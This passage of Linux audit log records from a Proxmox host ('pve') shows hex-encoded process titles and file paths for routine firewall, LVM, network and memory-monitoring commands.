cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.819:61935): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965995092,"@rawstring":"node=pve type=PATH msg=audit(1781965995.092:67982): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.819:61934): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965995083,"@rawstring":"node=pve type=PATH msg=audit(1781965995.083:67981): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.819:61933): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965995083,"@rawstring":"node=pve type=PATH msg=audit(1781965995.083:67981): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.813:61932): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965995038,"@rawstring":"node=pve type=PATH msg=audit(1781965995.038:67980): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.807:61931): proctitle=\"ip6tables-save\""} {"@timestamp":1781965995038,"@rawstring":"node=pve type=PATH msg=audit(1781965995.038:67980): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.799:61930): proctitle=\"iptables-save\""} {"@timestamp":1781965995038,"@rawstring":"node=pve type=PATH msg=audit(1781965995.038:67979): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.791:61929): proctitle=69707365740073617665"} {"@timestamp":1781965995038,"@rawstring":"node=pve type=PATH msg=audit(1781965995.038:67978): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.781:61928): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965995031,"@rawstring":"node=pve type=PATH msg=audit(1781965995.031:67977): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645774,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.774:61927): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965995031,"@rawstring":"node=pve type=PATH msg=audit(1781965995.031:67977): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.141:61926): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995031,"@rawstring":"node=pve type=PATH msg=audit(1781965995.031:67976): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.141:61925): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995031,"@rawstring":"node=pve type=PATH msg=audit(1781965995.031:67975): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.140:61924): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965994239,"@rawstring":"node=pve type=PATH msg=audit(1781965994.239:67974): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.133:61923): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965994239,"@rawstring":"node=pve type=PATH msg=audit(1781965994.239:67974): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.133:61922): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965994208,"@rawstring":"node=pve type=PATH msg=audit(1781965994.208:67973): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.133:61921): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965994208,"@rawstring":"node=pve type=PATH msg=audit(1781965994.208:67973): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964644342,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964644.342:61920): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965990021,"@rawstring":"node=pve type=PATH msg=audit(1781965990.021:67972): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964644302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964644.302:61919): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965990021,"@rawstring":"node=pve type=PATH msg=audit(1781965990.021:67972): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964640.123:61918): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965990021,"@rawstring":"node=pve type=PATH msg=audit(1781965990.021:67971): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964640.123:61917): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965990021,"@rawstring":"node=pve type=PATH msg=audit(1781965990.021:67970): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964640.123:61916): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965990008,"@rawstring":"node=pve type=PATH msg=audit(1781965990.008:67969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964640.116:61915): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965990008,"@rawstring":"node=pve type=PATH msg=audit(1781965990.008:67969): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964640.116:61914): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965990008,"@rawstring":"node=pve type=PATH msg=audit(1781965990.008:67968): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964640.116:61913): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965990008,"@rawstring":"node=pve type=PATH msg=audit(1781965990.008:67967): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964639.838:61912): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965987459,"@rawstring":"node=pve type=PATH msg=audit(1781965987.459:67966): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964639.838:61911): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965987459,"@rawstring":"node=pve type=PATH msg=audit(1781965987.459:67966): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964639.836:61910): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965987459,"@rawstring":"node=pve type=PATH msg=audit(1781965987.459:67966): item=0 name=\"/usr/bin/pvesh\" inode=304825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.762:61909): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965986072,"@rawstring":"node=pve type=PATH msg=audit(1781965986.072:67965): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635758,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.758:61908): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965986072,"@rawstring":"node=pve type=PATH msg=audit(1781965986.072:67965): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.757:61907): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965986068,"@rawstring":"node=pve type=PATH msg=audit(1781965986.068:67964): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.757:61906): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965986068,"@rawstring":"node=pve type=PATH msg=audit(1781965986.068:67964): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.753:61905): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965986067,"@rawstring":"node=pve type=PATH msg=audit(1781965986.067:67963): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.747:61904): proctitle=\"ip6tables-save\""} {"@timestamp":1781965986067,"@rawstring":"node=pve type=PATH msg=audit(1781965986.067:67963): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.741:61903): proctitle=\"iptables-save\""} {"@timestamp":1781965986067,"@rawstring":"node=pve type=PATH msg=audit(1781965986.067:67962): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.734:61902): proctitle=\"ip6tables-save\""} {"@timestamp":1781965986062,"@rawstring":"node=pve type=PATH msg=audit(1781965986.062:67961): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.728:61901): proctitle=\"iptables-save\""} {"@timestamp":1781965986062,"@rawstring":"node=pve type=PATH msg=audit(1781965986.062:67961): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.725:61900): proctitle=\"ebtables-restore\""} {"@timestamp":1781965986062,"@rawstring":"node=pve type=PATH msg=audit(1781965986.062:67961): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.723:61899): proctitle=\"ebtables-restore\""} {"@timestamp":1781965986055,"@rawstring":"node=pve type=PATH msg=audit(1781965986.055:67960): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.717:61898): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965986055,"@rawstring":"node=pve type=PATH msg=audit(1781965986.055:67960): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.712:61897): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965986048,"@rawstring":"node=pve type=PATH msg=audit(1781965986.048:67959): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635707,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.707:61896): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965986048,"@rawstring":"node=pve type=PATH msg=audit(1781965986.048:67959): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.701:61895): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965986040,"@rawstring":"node=pve type=PATH msg=audit(1781965986.040:67958): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.697:61894): proctitle=697073657400726573746F7265"} {"@timestamp":1781965986040,"@rawstring":"node=pve type=PATH msg=audit(1781965986.040:67958): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.690:61893): proctitle=\"ip6tables-save\""} {"@timestamp":1781965986033,"@rawstring":"node=pve type=PATH msg=audit(1781965986.033:67957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.684:61892): proctitle=\"iptables-save\""} {"@timestamp":1781965986033,"@rawstring":"node=pve type=PATH msg=audit(1781965986.033:67957): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.681:61891): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965986025,"@rawstring":"node=pve type=PATH msg=audit(1781965986.025:67955): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.678:61890): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965986025,"@rawstring":"node=pve type=PATH msg=audit(1781965986.025:67955): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.676:61889): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965986019,"@rawstring":"node=pve type=PATH msg=audit(1781965986.019:67954): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.676:61888): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965986019,"@rawstring":"node=pve type=PATH msg=audit(1781965986.019:67954): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.672:61887): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965986013,"@rawstring":"node=pve type=PATH msg=audit(1781965986.013:67953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.665:61886): proctitle=\"ip6tables-save\""} {"@timestamp":1781965986013,"@rawstring":"node=pve type=PATH msg=audit(1781965986.013:67953): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635659,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.659:61885): proctitle=\"iptables-save\""} {"@timestamp":1781965986005,"@rawstring":"node=pve type=PATH msg=audit(1781965986.005:67952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635653,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.653:61884): proctitle=69707365740073617665"} {"@timestamp":1781965986005,"@rawstring":"node=pve type=PATH msg=audit(1781965986.005:67952): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635645,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.645:61883): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965985999,"@rawstring":"node=pve type=PATH msg=audit(1781965985.999:67951): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.637:61882): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965985999,"@rawstring":"node=pve type=PATH msg=audit(1781965985.999:67951): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.105:61881): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985991,"@rawstring":"node=pve type=PATH msg=audit(1781965985.991:67950): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.105:61880): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985991,"@rawstring":"node=pve type=PATH msg=audit(1781965985.991:67950): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.105:61879): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985983,"@rawstring":"node=pve type=PATH msg=audit(1781965985.983:67949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.097:61878): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985983,"@rawstring":"node=pve type=PATH msg=audit(1781965985.983:67949): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.097:61877): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985978,"@rawstring":"node=pve type=PATH msg=audit(1781965985.978:67948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964635.097:61876): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985978,"@rawstring":"node=pve type=PATH msg=audit(1781965985.978:67948): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 